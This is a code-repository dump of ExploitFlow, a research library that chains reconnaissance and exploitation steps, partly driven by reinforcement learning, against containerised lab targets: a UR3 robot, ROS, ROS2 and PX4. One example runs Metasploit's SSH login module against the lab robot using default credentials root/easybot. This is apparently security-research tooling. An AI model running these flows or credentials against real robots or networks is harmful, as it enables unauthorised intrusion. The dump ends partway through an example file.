├── .devcontainer
├── Dockerfile
├── devcontainer.json
├── docker-compose.yml
└── requirements.txt
├── .gitignore
├── .theia
└── launch.json
├── .vscode
├── launch.json
└── tasks.json
├── LICENSE
├── README.md
├── examples
├── 0_empty.py
├── 10_exploitation_ur_qlearning.py
├── 11_exploitation_ur_qlearning_instances.py
├── 12_exploitation_ur_learned_flow.py
├── 13_exploitation_ur_bruteforce.py
├── 1_basic.py
├── 2_reconnaissance.py
├── 3_reconnaissance_msf.py
├── 4_reconnaissance_multitarget_msf.py
├── 5_reconnaissance_multitarget_nmap.py
├── 6_exploitation_ros.py
├── 7_reconnaissance_ros2.py
├── 8_exploitation_ur.py
└── 9_exploitation_ur_human_expert.py
├── exploitflow
├── __init__.py
├── adapters.py
├── common.py
├── exploit.py
├── flow.py
├── graph.py
├── killchain
│ ├── __init__.py
│ ├── control
│ │ └── __init__.py
│ ├── escalation
│ │ └── __init__.py
│ ├── exfiltration
│ │ └── __init__.py
│ ├── exploitation
│ │ └── __init__.py
│ ├── lateral
│ │ └── __init__.py
│ └── reconnaissance
│ │ ├── __init__.py
│ │ ├── targets.py
│ │ └── versions.py
├── models.py
└── state.py
├── requirements.txt
└── setup.py
/.devcontainer/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:22.04
2 |
3 | # [Optional] Uncomment this section to install additional OS packages.
4 | RUN apt-get update && export DEBIAN_FRONTEND=noninteractive \
5 | && apt-get -y install --no-install-recommends \
6 | net-tools python3 python3-pip \
7 | curl gnupg nmap iputils-ping ssh git \
8 | graphviz
9 |
10 | # Install Metasploit
11 | RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > /tmp/msfinstall \
12 | && chmod 755 /tmp/msfinstall \
13 | && /tmp/msfinstall
14 |
15 | # # [Optional] If your pip requirements rarely change, uncomment this section to add them to the image.
16 | # # alternatively, this also helps avoid having to pull requirements from the internet every single time
17 | COPY requirements.txt /tmp/pip-tmp/
18 | RUN pip3 --disable-pip-version-check --no-cache-dir install -r /tmp/pip-tmp/requirements.txt \
19 | && rm -rf /tmp/pip-tmp
20 | RUN pip3 install tensorflow pandas
21 |
--------------------------------------------------------------------------------
/.devcontainer/devcontainer.json:
--------------------------------------------------------------------------------
1 | // For format details, see https://aka.ms/devcontainer.json. For config options, see the README at:
2 | // https://github.com/microsoft/vscode-dev-containers/tree/v0.241.1/containers/python-3
3 | {
4 | "name": "exploitflow_devenv",
5 |
6 | // "build": {
7 | // "dockerfile": "Dockerfile",
8 | // "context": "..",
9 | // "args": {
10 | // // Update 'VARIANT' to pick a Python version: 3, 3.10, 3.9, 3.8, 3.7, 3.6
11 | // // Append -bullseye or -buster to pin to an OS version.
12 | // // Use -bullseye variants on local on arm64/Apple Silicon.
13 | // "VARIANT": "3.10-bullseye",
14 | // // Options
15 | // "NODE_VERSION": "lts/*"
16 | // }
17 | // },
18 |
19 | "dockerComposeFile": ["./docker-compose.yml"],
20 | "service": "devenv",
21 | // "shutdownAction": "none", // don't shut down container when vscode is closed
22 | "workspaceFolder": "/workspace",
23 |
24 | // Configure tool-specific properties.
25 | "customizations": {
26 | // Configure properties specific to VS Code.
27 | "vscode": {
28 | // Set *default* container specific settings.json values on container create.
29 | "settings": {
30 | "python.defaultInterpreterPath": "/usr/local/bin/python",
31 | "python.linting.enabled": true,
32 | "python.linting.pylintEnabled": true,
33 | "python.formatting.autopep8Path": "/usr/local/py-utils/bin/autopep8",
34 | "python.formatting.blackPath": "/usr/local/py-utils/bin/black",
35 | "python.formatting.yapfPath": "/usr/local/py-utils/bin/yapf",
36 | "python.linting.banditPath": "/usr/local/py-utils/bin/bandit",
37 | "python.linting.flake8Path": "/usr/local/py-utils/bin/flake8",
38 | "python.linting.mypyPath": "/usr/local/py-utils/bin/mypy",
39 | "python.linting.pycodestylePath": "/usr/local/py-utils/bin/pycodestyle",
40 | "python.linting.pydocstylePath": "/usr/local/py-utils/bin/pydocstyle",
41 | "python.linting.pylintPath": "/usr/local/py-utils/bin/pylint"
42 | },
43 |
44 | // Add the IDs of extensions you want installed when the container is created.
45 | "extensions": [
46 | "ms-python.python",
47 | "ms-toolsai.jupyter-renderers",
48 | "ms-toolsai.jupyter",
49 | "ms-python.vscode-pylance"
50 | ]
51 | }
52 | },
53 |
54 | // Use 'forwardPorts' to make a list of ports inside the container available locally.
55 | // "forwardPorts": [],
56 |
57 | // Use 'postCreateCommand' to run commands after the container is created.
58 | // "postCreateCommand": "pip3 install --user -r requirements.txt", // doing it instead in
59 | // the dockerfile to cache
60 | // requirements in container
61 | "postStartCommand": ["nohup", "msfrpcd", "-P", "exploitflow", "&"],
62 |
63 | // // Comment out to connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root.
64 | // "remoteUser": "vscode"
65 |
66 | "runArgs": ["--privileged"]
67 | }
68 |
--------------------------------------------------------------------------------
/.devcontainer/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 |
3 | #################
4 | # SERVICES
5 | #################
6 | services:
7 |
8 | # Developer environment
9 | devenv:
10 | build:
11 | context: ..
12 | dockerfile: .devcontainer/Dockerfile
13 | volumes:
14 | # Mount the root folder that contains .git
15 | - ..:/workspace:cached
16 | command: /bin/sh -c "while sleep 10; do :; done"
17 | # command: |
18 | # /bin/bash -c "
19 | # apt-get update && apt-get install -y vim nmap net-tools netcat git python3 python3-pip &&
20 | # pip3 install git+https://github.com/vmayoral/scapy@tcpros &&
21 | # while sleep 10; do :; done
22 | # "
23 | # python3 examples/6_exploitation_ros.py 192.168.2.6
24 | networks:
25 | exploitflownet:
26 | ipv4_address: 192.168.2.5
27 | cap_add:
28 | - NET_ADMIN
29 | # - ALL
30 |
31 | # Collaborative robot target
32 | ur3:
33 | container_name: ur3
34 | image: registry.gitlab.com/aliasrobotics/clients/luxembourg-tech-school/targets:ur3_cb3.1_3.12.1
35 | command: |
36 | /bin/sh -c "
37 | echo '2033333333' > /root/ur-serial && truncate -s -1 /root/ur-serial &&
38 | cd /root/.urcontrol && ln -s urcontrol.conf.UR3 urcontrol.conf &&
39 | source /root/run_gui.sh &&
40 | java -Djava.library.path=/root/GUI/lib -jar bin/felix.jar &
41 | /etc/init.d/ssh start &&
42 | /bin/sleep 10 && cd /root/.urcontrol/daemon/ && ./run
43 | "
44 | networks:
45 | exploitflownet:
46 | ipv4_address: 192.168.2.10
47 |
48 | ros:
49 | container_name: ros
50 | image: registry.gitlab.com/aliasrobotics/clients/luxembourg-tech-school/targets:ros_melodic
51 | command: |
52 | /bin/bash -c "
53 | export ROS_MASTER_URI='http://192.168.2.6:11311'
54 | source /opt/ros/melodic/setup.bash && roscore &
55 | /bin/sleep 10 && source /opt/ros/melodic/setup.bash &&
56 | rostopic pub /chatter std_msgs/String "Publisher" -r 5
57 | "
58 | networks:
59 | exploitflownet:
60 | ipv4_address: 192.168.2.6
61 |
62 | ros2:
63 | container_name: ros2
64 | image: registry.gitlab.com/aliasrobotics/clients/luxembourg-tech-school/targets:ros2_dashing
65 | command: |
66 | /bin/sh -c "
67 | source /opt/ros2_ws/install/setup.bash &&
68 | export ROS_DOMAIN_ID=0 &&
69 | RMW_IMPLEMENTATION=rmw_fastrtps_cpp ros2 run demo_nodes_cpp talker --ros-args --remap talker:=talker_open
70 | "
71 | networks:
72 | exploitflownet:
73 | ipv4_address: 192.168.2.7
74 |
75 | px4:
76 | container_name: px4
77 | image: registry.gitlab.com/aliasrobotics/clients/luxembourg-tech-school/targets:px4_1.13.1
78 | # NOTE: This is a workaround to keep the container running, to launch the PX4 SITL:
79 | # /root/entrypoint.sh
80 | # or manually:
81 | # cd /root/Firmware && HEADLESS=1 make px4_sitl gazebo_iris__empty
82 | command: |
83 | /bin/bash -c "
84 | while sleep 10; do :; done
85 | "
86 | networks:
87 | exploitflownet:
88 | ipv4_address: 192.168.2.8
89 |
90 | #################
91 | # NETWORKS
92 | #################
93 | networks:
94 | exploitflownet:
95 | ipam:
96 | driver: default
97 | config:
98 | - subnet: 192.168.2.0/24
--------------------------------------------------------------------------------
/.devcontainer/requirements.txt:
--------------------------------------------------------------------------------
1 | pymetasploit3
2 | networkx==2.5
3 | requests
4 | wasabi
5 | xmltodict
6 | pydot==1.4.2
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | *.egg-info/
2 | __pycache__
3 | .DS_Store
4 | nohup.out
5 | results/
--------------------------------------------------------------------------------
/.theia/launch.json:
--------------------------------------------------------------------------------
1 | {
2 | // Use IntelliSense to learn about possible attributes.
3 | // Hover to view descriptions of existing attributes.
4 | "version": "0.2.0",
5 | "configurations": [
6 |
7 | {
8 | "name": "Python: Current File",
9 | "type": "python",
10 | "request": "launch",
11 | "program": "${file}",
12 | "console": "integratedTerminal"
13 | }
14 | ]
15 | }
--------------------------------------------------------------------------------
/.vscode/launch.json:
--------------------------------------------------------------------------------
1 | {
2 | // Use IntelliSense para saber los atributos posibles.
3 | // Mantenga el puntero para ver las descripciones de los existentes atributos.
4 | // Para más información, visite: https://go.microsoft.com/fwlink/?linkid=830387
5 | "version": "0.2.0",
6 | "configurations": [
7 | {
8 | "name": "Python: archivo actual",
9 | "type": "python",
10 | "request": "launch",
11 | "program": "${file}",
12 | "console": "integratedTerminal",
13 | "justMyCode": false,
14 | "env": { "PYTHONPATH": "${workspaceRoot}"},
15 | // "preLaunchTask": "msfrpcd" // to launch while debugging MSF adapter
16 | }
17 | ]
18 | }
--------------------------------------------------------------------------------
/.vscode/tasks.json:
--------------------------------------------------------------------------------
1 | {
2 | // See https://go.microsoft.com/fwlink/?LinkId=733558
3 | // for the documentation about the tasks.json format
4 | "version": "2.0.0",
5 | "tasks": [
6 | {
7 | "label": "msfrpcd",
8 | "type": "shell",
9 | "command": "msfrpcd",
10 | "args": ["-P", "exploitflow"]
11 | },
12 | {
13 | "label": "echo",
14 | "type": "shell",
15 | "command": "echo",
16 | "args": ["test", ">", "/workspaces/ExploitFlow/test"]
17 | },
18 |
19 | ]
20 | }
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Apache License
2 | Version 2.0, January 2004
3 | http://www.apache.org/licenses/
4 |
5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6 |
7 | 1. Definitions.
8 |
9 | "License" shall mean the terms and conditions for use, reproduction,
10 | and distribution as defined by Sections 1 through 9 of this document.
11 |
12 | "Licensor" shall mean the copyright owner or entity authorized by
13 | the copyright owner that is granting the License.
14 |
15 | "Legal Entity" shall mean the union of the acting entity and all
16 | other entities that control, are controlled by, or are under common
17 | control with that entity. For the purposes of this definition,
18 | "control" means (i) the power, direct or indirect, to cause the
19 | direction or management of such entity, whether by contract or
20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the
21 | outstanding shares, or (iii) beneficial ownership of such entity.
22 |
23 | "You" (or "Your") shall mean an individual or Legal Entity
24 | exercising permissions granted by this License.
25 |
26 | "Source" form shall mean the preferred form for making modifications,
27 | including but not limited to software source code, documentation
28 | source, and configuration files.
29 |
30 | "Object" form shall mean any form resulting from mechanical
31 | transformation or translation of a Source form, including but
32 | not limited to compiled object code, generated documentation,
33 | and conversions to other media types.
34 |
35 | "Work" shall mean the work of authorship, whether in Source or
36 | Object form, made available under the License, as indicated by a
37 | copyright notice that is included in or attached to the work
38 | (an example is provided in the Appendix below).
39 |
40 | "Derivative Works" shall mean any work, whether in Source or Object
41 | form, that is based on (or derived from) the Work and for which the
42 | editorial revisions, annotations, elaborations, or other modifications
43 | represent, as a whole, an original work of authorship. For the purposes
44 | of this License, Derivative Works shall not include works that remain
45 | separable from, or merely link (or bind by name) to the interfaces of,
46 | the Work and Derivative Works thereof.
47 |
48 | "Contribution" shall mean any work of authorship, including
49 | the original version of the Work and any modifications or additions
50 | to that Work or Derivative Works thereof, that is intentionally
51 | submitted to Licensor for inclusion in the Work by the copyright owner
52 | or by an individual or Legal Entity authorized to submit on behalf of
53 | the copyright owner. For the purposes of this definition, "submitted"
54 | means any form of electronic, verbal, or written communication sent
55 | to the Licensor or its representatives, including but not limited to
56 | communication on electronic mailing lists, source code control systems,
57 | and issue tracking systems that are managed by, or on behalf of, the
58 | Licensor for the purpose of discussing and improving the Work, but
59 | excluding communication that is conspicuously marked or otherwise
60 | designated in writing by the copyright owner as "Not a Contribution."
61 |
62 | "Contributor" shall mean Licensor and any individual or Legal Entity
63 | on behalf of whom a Contribution has been received by Licensor and
64 | subsequently incorporated within the Work.
65 |
66 | 2. Grant of Copyright License. Subject to the terms and conditions of
67 | this License, each Contributor hereby grants to You a perpetual,
68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69 | copyright license to reproduce, prepare Derivative Works of,
70 | publicly display, publicly perform, sublicense, and distribute the
71 | Work and such Derivative Works in Source or Object form.
72 |
73 | 3. Grant of Patent License. Subject to the terms and conditions of
74 | this License, each Contributor hereby grants to You a perpetual,
75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76 | (except as stated in this section) patent license to make, have made,
77 | use, offer to sell, sell, import, and otherwise transfer the Work,
78 | where such license applies only to those patent claims licensable
79 | by such Contributor that are necessarily infringed by their
80 | Contribution(s) alone or by combination of their Contribution(s)
81 | with the Work to which such Contribution(s) was submitted. If You
82 | institute patent litigation against any entity (including a
83 | cross-claim or counterclaim in a lawsuit) alleging that the Work
84 | or a Contribution incorporated within the Work constitutes direct
85 | or contributory patent infringement, then any patent licenses
86 | granted to You under this License for that Work shall terminate
87 | as of the date such litigation is filed.
88 |
89 | 4. Redistribution. You may reproduce and distribute copies of the
90 | Work or Derivative Works thereof in any medium, with or without
91 | modifications, and in Source or Object form, provided that You
92 | meet the following conditions:
93 |
94 | (a) You must give any other recipients of the Work or
95 | Derivative Works a copy of this License; and
96 |
97 | (b) You must cause any modified files to carry prominent notices
98 | stating that You changed the files; and
99 |
100 | (c) You must retain, in the Source form of any Derivative Works
101 | that You distribute, all copyright, patent, trademark, and
102 | attribution notices from the Source form of the Work,
103 | excluding those notices that do not pertain to any part of
104 | the Derivative Works; and
105 |
106 | (d) If the Work includes a "NOTICE" text file as part of its
107 | distribution, then any Derivative Works that You distribute must
108 | include a readable copy of the attribution notices contained
109 | within such NOTICE file, excluding those notices that do not
110 | pertain to any part of the Derivative Works, in at least one
111 | of the following places: within a NOTICE text file distributed
112 | as part of the Derivative Works; within the Source form or
113 | documentation, if provided along with the Derivative Works; or,
114 | within a display generated by the Derivative Works, if and
115 | wherever such third-party notices normally appear. The contents
116 | of the NOTICE file are for informational purposes only and
117 | do not modify the License. You may add Your own attribution
118 | notices within Derivative Works that You distribute, alongside
119 | or as an addendum to the NOTICE text from the Work, provided
120 | that such additional attribution notices cannot be construed
121 | as modifying the License.
122 |
123 | You may add Your own copyright statement to Your modifications and
124 | may provide additional or different license terms and conditions
125 | for use, reproduction, or distribution of Your modifications, or
126 | for any such Derivative Works as a whole, provided Your use,
127 | reproduction, and distribution of the Work otherwise complies with
128 | the conditions stated in this License.
129 |
130 | 5. Submission of Contributions. Unless You explicitly state otherwise,
131 | any Contribution intentionally submitted for inclusion in the Work
132 | by You to the Licensor shall be under the terms and conditions of
133 | this License, without any additional terms or conditions.
134 | Notwithstanding the above, nothing herein shall supersede or modify
135 | the terms of any separate license agreement you may have executed
136 | with Licensor regarding such Contributions.
137 |
138 | 6. Trademarks. This License does not grant permission to use the trade
139 | names, trademarks, service marks, or product names of the Licensor,
140 | except as required for reasonable and customary use in describing the
141 | origin of the Work and reproducing the content of the NOTICE file.
142 |
143 | 7. Disclaimer of Warranty. Unless required by applicable law or
144 | agreed to in writing, Licensor provides the Work (and each
145 | Contributor provides its Contributions) on an "AS IS" BASIS,
146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147 | implied, including, without limitation, any warranties or conditions
148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149 | PARTICULAR PURPOSE. You are solely responsible for determining the
150 | appropriateness of using or redistributing the Work and assume any
151 | risks associated with Your exercise of permissions under this License.
152 |
153 | 8. Limitation of Liability. In no event and under no legal theory,
154 | whether in tort (including negligence), contract, or otherwise,
155 | unless required by applicable law (such as deliberate and grossly
156 | negligent acts) or agreed to in writing, shall any Contributor be
157 | liable to You for damages, including any direct, indirect, special,
158 | incidental, or consequential damages of any character arising as a
159 | result of this License or out of the use or inability to use the
160 | Work (including but not limited to damages for loss of goodwill,
161 | work stoppage, computer failure or malfunction, or any and all
162 | other commercial damages or losses), even if such Contributor
163 | has been advised of the possibility of such damages.
164 |
165 | 9. Accepting Warranty or Additional Liability. While redistributing
166 | the Work or Derivative Works thereof, You may choose to offer,
167 | and charge a fee for, acceptance of support, warranty, indemnity,
168 | or other liability obligations and/or rights consistent with this
169 | License. However, in accepting such obligations, You may act only
170 | on Your own behalf and on Your sole responsibility, not on behalf
171 | of any other Contributor, and only if You agree to indemnify,
172 | defend, and hold each Contributor harmless for any liability
173 | incurred by, or claims asserted against, such Contributor by reason
174 | of your accepting any such warranty or additional liability.
175 |
176 | END OF TERMS AND CONDITIONS
177 |
178 | APPENDIX: How to apply the Apache License to your work.
179 |
180 | To apply the Apache License to your work, attach the following
181 | boilerplate notice, with the fields enclosed by brackets "{}"
182 | replaced with your own identifying information. (Don't include
183 | the brackets!) The text should be enclosed in the appropriate
184 | comment syntax for the file format. We also recommend that a
185 | file or class name and description of purpose be included on the
186 | same "printed page" as the copyright notice for easier
187 | identification within third-party archives.
188 |
189 | Copyright {yyyy} {name of copyright owner}
190 |
191 | Licensed under the Apache License, Version 2.0 (the "License");
192 | you may not use this file except in compliance with the License.
193 | You may obtain a copy of the License at
194 |
195 | http://www.apache.org/licenses/LICENSE-2.0
196 |
197 | Unless required by applicable law or agreed to in writing, software
198 | distributed under the License is distributed on an "AS IS" BASIS,
199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200 | See the License for the specific language governing permissions and
201 | limitations under the License.
202 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # ExploitFlow
2 |
3 | ExploitFlow (`EF`) is a modular library to produce cybersecurity exploitation routes (*exploit flows*). It aims to combine and compose exploits from different sources and frameworks, capturing the state of the system being tested in a *flow* after every discrete action.
4 |
5 | It's main motivation is to facilitate and empower Game Theory and Artificial Intelligence (AI) research in cybersecurity. To facilitate adoption, EF's syntax and architecture is inspired by TensorFlow[^1][^2]. To simplify exploitation, EF represents each action in an exploitation route with the superclass `Exploit`, including *reconnaissance* and *control* actions[^4]. Exploits are grouped in 6 major categories inspired by the security kill chain [^3]:
6 |
7 | 1. Reconnaissance and weaponization - *reconnaissance*
8 | 2. Exploitation - *exploitation*
9 | 3. Privilege escalation - *escalation*
10 | 4. Lateral movement - *lateral*
11 | 5. Data exfiltration - *exfiltration*
12 | 6. Command and control - *control*
13 |
14 | `EF` is a modular, extensible (accepting connectors for other exploitation frameworks and/or individual exploits) and composeable library to empower Artificial Intelligence (AI) research in cybersecurity. EF is **not an exploitation framework**.
15 |
16 |
17 | ### Antigoals
18 |
19 | **Legal disclaimer**
20 | *Access to this library and the use of information, materials (or portions thereof), is not intended, and is prohibited, where such access or use violates applicable laws or regulations. By no means the authors encourage or promote the unauthorized tampering with running systems. This can cause serious human harm and material damages*.
21 |
22 | *By no means the authors of ExploitFlow encourage or promote the unauthorized tampering with compute systems*. Please don't use the source code in here to:
23 |
24 | - Favour cybercrime. Pentest instead for good.
25 | - Create yet another exploitation framework, there're already too many.
26 | - Create a new exploit database. Contribute an adapter instead.
27 |
28 | ### Usage
29 | ```python
30 | import exploitflow as ef
31 |
32 | flow = ef.Flow()
33 | a = ef.placeholder()
34 | print(flow.run(a)) # None
35 | ```
36 |
37 | ### Simplified development
38 | ExploitFlow has been developed and integrated in both Theia and VSCode. More the more complex setups, this repo allows to ["Develop inside of a Container"](https://code.visualstudio.com/docs/remote/containers#_quick-start-try-a-development-container). If you wish to test things out, try the following:
39 |
40 | ```
41 | - Open repository in VSCode
42 | - Install/Launch Docker in your OS
43 | - (inside of VSCode toolbar) Remote-Containers: Reopen in Container
44 | - (inside of VSCode toolbar) Dev Containers: Reopen Folder Locally (to exit from container)
45 | - (inside of VSCode toolbar) Dev Containers: Rebuild and Reopen Folder in Container (to rebuild container)
46 | ```
47 |
48 | Then, to launch an example, open one of the [`examples`](examples), e.g. `0_empty.py` and then press `fn + ctrl + F5` to execute (or `fn + F5` do debug).
49 |
50 |
51 | ## Adapters
52 | Adapters are EF's connectors to other exploitation frameworks, so that their exploits can be used while building *exploit flows*. Through adapters EF remains both modular and extensible.
53 |
54 | Currently the following adapters are available:
55 | - `AdapterMSF`: an adapter for the **M**eta**S**ploit **F**ramework
56 |
57 |
58 |
59 | [^1]: Tensorflow. See https://www.tensorflow.org.
60 |
61 | [^2]: MiniFlow. A minimal numerical computation library with TensorFlow APIs.
62 |
63 | [^3]: Kamhoua, C. A., Leslie, N. O., & Weisman, M. J. (2018). Game theoretic modeling of advanced persistent threat in internet of things. Journal of Cyber Security and Information Systems.
64 |
65 | [^4]: We are well aware that strictly speaking reconnaissance scripts don't meet the formal definition of an exploit but still insist on grouping all action under the same common class (`Exploit`) to simplify the production of exploitation flows (routes).
--------------------------------------------------------------------------------
/examples/0_empty.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved.
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | # An empty exploit flow
16 | # a simple placeholder exploit is run
17 | #
18 | # ┌─────────────┐
19 | # │ Placeholder │
20 | # └─────────────┘
21 |
22 | import exploitflow as ef
23 | from exploitflow.state import State_v0
24 |
25 | flow = ef.Flow(State_v0) # use basic data model
26 |
27 | a = ef.Placeholder()
28 | print(flow.run(a)) # None
29 | print(flow.ascii()) # expect a placeholder Node
30 | flow.to_dot("/tmp/exploitflow.dot")
--------------------------------------------------------------------------------
/examples/10_exploitation_ur_qlearning.py:
--------------------------------------------------------------------------------
1 | import math
2 | import random
3 | import sys
4 | import exploitflow as ef
5 | from wasabi import color
6 |
7 | #################################
8 | # NOTE on network state encoding:
9 | #################################
10 | # Experiment designed with the following constraints:
11 | #
12 | # - y = 255, number of IPs considered
13 | # - ports
14 | # - n = 424, number of ports per IP considered
15 | # - l = 1, (open/closed) number of elements of information per port
16 | # - exploits
17 | # - m = 12, number of exploits considered
18 | # - b = 1, (launched/not launched) number of elements of information per exploit
19 | # - s = 0, system information elements considered
20 | #
21 | # Which leads to # of elements while encoding the state:
22 | # y * [n*(n + l) + m*(m + b) + s] = 255 * [424*(424 + 1) + 12*(12 + 1) + 0] = 256 * 180,356 = 46,171,136
23 | # this leads to a setup which is non-feasible computationally.
24 | #
25 | # Therefore, we need to reduce the number of elements considered.
26 | # We will do so by reducing the number of ips considered. Given 6 unique IPs:
27 | #
28 | # ["127.0.0.1", "192.168.2.10", "192.168.2.5", "192.168.2.6", "192.168.2.7", "192.168.2.8"]
29 | #
30 | # we have the following number of elements while encoding the state:
31 | # y * [n*(n + l) + m*(m + b) + s] = 6 * [424*(424 + 1) + 12*(12 + 1) + 0] = 6 * 180,356 = 1,082,136
32 | #
33 | # still too many elements. We will change the number of ip and ports considered.
34 | # We will now use the following 7 unique IPs:
35 | # ["127.0.0.1", "192.168.2.10", "192.168.2.5", "192.168.2.6", "192.168.2.7", "192.168.2.8", "192.168.2.1"]
36 | # and the following ports:
37 | # TARGET_PORTS_BASIC = list(range(21, 30))
38 | #
39 | # accordingly, we have the following number of elements while encoding the state:
40 | # y * [n*(n + l) + m*(m + b) + s] = 7 * [9*(9 + 1) + 12*(12 + 1) + 0] = 7 * 246 = 1,722
41 | #
42 | # EXTRA: if we add dynamically a new exploit, we have:
43 | # y * [n*(n + l) + m*(m + b) + s] = 7 * [9*(9 + 1) + 13*(13 + 1) + 0] = 7 * 272 = 1,904
44 |
45 | flow = ef.Flow()
46 |
47 | # exploits
48 | ## initialize
49 | init = ef.Init()
50 | recon = ef.Targets()
51 | versions = ef.Versions()
52 | idle = ef.Idle()
53 | expl = ef.adapter_msf_initializer.get_name("auxiliary", "scanner/ssh/ssh_login")
54 | ## set options
55 | recon.target = "192.168.2.1"
56 | versions.target = "192.168.2.10"
57 | msf_options = {
58 | "RHOSTS": "192.168.2.10",
59 | "USERNAME": "root",
60 | "PASSWORD": "easybot"
61 | }
62 | expl.set_options(msf_options)
63 | expl.target = "192.168.2.10"
64 | ## set reward
65 | idle.reward = 0
66 | expl.reward = -10
67 | expl.success_reward = 100
68 | versions.reward = -10
69 | recon.reward = -10
70 |
71 | # ef.exploits_all = ef.exploits_all + [ef.FakeVersions2]
72 |
73 | # global variables used for the one-hot-encoded state
74 | exploits = [recon, versions, idle, expl, init]
75 | # exploits = [versions, idle, expl]
76 | exploits_encoded = [exploit.name for exploit in exploits]
77 |
78 | # set learning model
79 | ## actions: list of actions available in the environment
80 | ## epsilon: exploration factor
81 | ## alpha: learning rate
82 | ## gamma: discount factor
83 | flow.set_learning_model(ef.QLearn(actions=exploits_encoded, alpha=0.1, gamma=0.9, epsilon=0.1))
84 |
85 | rollouts = 1000
86 | episode = 10
87 | age = 1
88 | debug = False
89 | last_10_actions = []
90 |
91 | while age <= rollouts:
92 |
93 | # observe the reward and update the model
94 | if flow.last_state():
95 | flow._graph.learning_model.learn(
96 | tuple(flow.last_state().one_hot_encode()),
97 | flow.last_action().name,
98 | flow.last_reward(),
99 | tuple(flow.state().one_hot_encode()),
100 | debug=False)
101 |
102 | # choose an action
103 | if flow.state():
104 | action = flow._graph.learning_model.chooseAction(tuple(flow.state().one_hot_encode()))
105 | else:
106 | # use init
107 | action = init.name # always start with init
108 |
109 | last_10_actions.append(action)
110 | # fetch the action object from its "exploits_encoded" name
111 | action_expl = [exploit for exploit in exploits if exploit.name == action][0]
112 |
113 | # execute that action
114 | if flow.state():
115 | flow.run(flow.state() * action_expl, debug=debug)
116 | else:
117 | flow.run(action_expl, debug=debug)
118 |
119 | if age % 10 == 0:
120 | # debug
121 | age_str = "Age: " + color("{:d}".format(age), fg="white", bg="blue", bold=True)
122 | epsilon_str = ", epsilon: {:0.2f}".format(flow._graph.learning_model.epsilon)
123 | reward_str = ", reward: " + color("{:0.2f}".format(flow.reward()), fg="white", bg="red", bold=True)
124 | bytes = sys.getsizeof(flow._graph.learning_model.q)
125 | q_size_str = ", Q-size bytes: {:d} ".format(bytes)
126 | q_size_str += color("({:.2f} KB, {:d} elements)".format(bytes/1024, len(flow._graph.learning_model.q.keys())),
127 | fg="white", bg="blue", bold=True)
128 | print_message = age_str + epsilon_str + reward_str + q_size_str
129 |
130 | # last_actions_str = " -- last 10 actions: " + ", " + color([str(n) for n in last_10_actions[-10:]], fg="black", bg="white")
131 | # last_10_actions = []
132 | # print_message += last_actions_str
133 | print(print_message)
134 |
135 | if age == rollouts:
136 | print(flow)
137 |
138 | if age % episode == 0:
139 | # reset the flow
140 | flow.reset() # reward=0, state=None, last_state=None, last_action=None, last_reward=None
141 |
142 | # next rollout
143 | age += 1
144 |
--------------------------------------------------------------------------------
/examples/11_exploitation_ur_qlearning_instances.py:
--------------------------------------------------------------------------------
1 | import math
2 | import random
3 | import sys
4 | import exploitflow as ef
5 | from wasabi import color
6 |
7 | #################################
8 | # NOTE on network state encoding:
9 | #################################
10 | # Experiment designed with the following constraints:
11 | #
12 | # - y = 255, number of IPs considered
13 | # - ports
14 | # - n = 424, number of ports per IP considered
15 | # - l = 1, (open/closed) number of elements of information per port
16 | # - exploits
17 | # - m = 12, number of exploits considered
18 | # - b = 1, (launched/not launched) number of elements of information per exploit
19 | # - s = 0, system information elements considered
20 | #
21 | # Which leads to # of elements while encoding the state:
22 | # y * [n*(n + l) + m*(m + b) + s] = 255 * [424*(424 + 1) + 12*(12 + 1) + 0] = 256 * 180,356 = 46,171,136
23 | # this leads to a setup which is non-feasible computationally.
24 | #
25 | # Therefore, we need to reduce the number of elements considered.
26 | # We will do so by reducing the number of ips considered. Given 6 unique IPs:
27 | #
28 | # ["127.0.0.1", "192.168.2.10", "192.168.2.5", "192.168.2.6", "192.168.2.7", "192.168.2.8"]
29 | #
30 | # we have the following number of elements while encoding the state:
31 | # y * [n*(n + l) + m*(m + b) + s] = 6 * [424*(424 + 1) + 12*(12 + 1) + 0] = 6 * 180,356 = 1,082,136
32 | #
33 | # still too many elements. We will change the number of ip and ports considered.
34 | # We will now use the following 7 unique IPs:
35 | # ["127.0.0.1", "192.168.2.10", "192.168.2.5", "192.168.2.6", "192.168.2.7", "192.168.2.8", "192.168.2.1"]
36 | # and the following ports:
37 | # TARGET_PORTS_BASIC = list(range(21, 30))
38 | #
39 | # accordingly, we have the following number of elements while encoding the state:
40 | # y * [n*(n + l) + m*(m + b) + s] = 7 * [9*(9 + 1) + 12*(12 + 1) + 0] = 7 * 246 = 1,722
41 | # if we add dynamically a new exploit, we have:
42 | # y * [n*(n + l) + m*(m + b) + s] = 7 * [9*(9 + 1) + 13*(13 + 1) + 0] = 7 * 272 = 1,904
43 |
44 |
45 | flow = ef.Flow()
46 |
47 | ##################################
48 | # with instances
49 | ##################################
50 | from exploitflow.state import State_v4
51 | State_default = State_v4
52 |
53 | ## new exploits, if needed
